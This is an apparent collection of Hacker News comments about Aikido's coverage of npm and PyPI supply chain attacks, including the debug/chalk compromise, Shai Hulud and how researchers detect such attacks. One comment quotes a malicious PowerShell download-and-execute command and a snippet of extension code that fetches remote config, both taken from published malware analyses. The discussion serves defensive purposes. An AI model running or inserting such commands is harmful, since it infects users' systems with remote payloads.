Aikido, a security company, publishes analyses of npm and PyPI supply chain attacks, including the Shai Hulud worm and compromised packages.
HN links it as a fast source on package compromises; commenters point to it for coverage of the debug and chalk, telnyx and Shai Hulud incidents.
Quite possibly - there have been several incidents recently and a number of researchers working together so it’s not clear exactly who found something first and it’s definitely not as simple to fix as tossing a tool in place.
The CEO of socket.dev described an automated pipeline flagging new uploads for analysts, for example, which is good but not instantaneous:
https://news.ycombinator.com/item?id=45257681
The Aikido team also appear to be suggesting they investigated a suspicious flag (apologies if I’m misreading their post), which again needs time for analysts to work:
https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
My thought was simply that these were caught relatively quickly by security researchers rather than by compromised users reporting breaches. If you didn’t install updates with a relatively short period of time after they were published, the subsequent response would keep you safe. Obviously that’s not perfect and a sophisticated, patient attack like liblzma suffered would likely still be possible but there really does seem to be a value to having something like Debian’s unstable/stable divide where researchers and thrill-seekers would get everything ASAP but most people would give it some time to be tested. What I’d really like to see is a community model for funding that and especially supporting independent researchers.
restrict code.exe to an allowlist. Also, many malicious actors rely on system commands to download or exfiltrate data.
Take for example this activity from a malicious extension:
This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.
powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent.
https://securitylabs.datadoghq.com/articles/mut-9332-malicious-solidity-vscode-extensions/
Or this one:
const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
function fetchConfigAndRun() {
http.get(CONFIG_URL, (res)
they also establishes outbound connections to dropbox and other not expected domains:
https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-malware
so maybe it's not bulletproof, but it helps to mitigate these threats.
Hi! That sentence is actually a longstanding bug in Github oAth screen. ( https://github.com/orgs/community/discussions/37117 ) Also, if you don't trust us, just use our local scanner... So we never get access to your source code... Also we're ISO 27001/SOC2 compliant: https://www.aikido.dev/trust-center And also, here's the process we use to make sure your code is never saved longer than necessary: https://help.aikido.dev/en/articles/6976661-aikido-never-stores-your-code
I think this was posted because the of the recent Npm malware fiasco. The malware monkey-patched native JS functions to replace strings that matched crypto addresses in certain the fetch, and XMLHttpRequest functions:
https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
Considering there's no way to check whether a function is monkey-patched, this just tells me the JavaScript ecosystem was not designed with malicious actors in mind
The phishing email comes across a bit too amateur. Specifically the inclusion of:
"we kindly ask that you complete this update your earliest convenience".
The email was included here: https://cdn.prod.website-files.com/642adcaf364024654c71df23/68bf028d86e3642f1268253f_050c42b9.png
From this article: https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised
The chalk/debug one https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised I believe socket also found it this way just a bit later.
The dev later said that Charlie notifying him probably shaved off some very important time for the remediation.
So in this case 2 different companies found it using automated tech before anyone else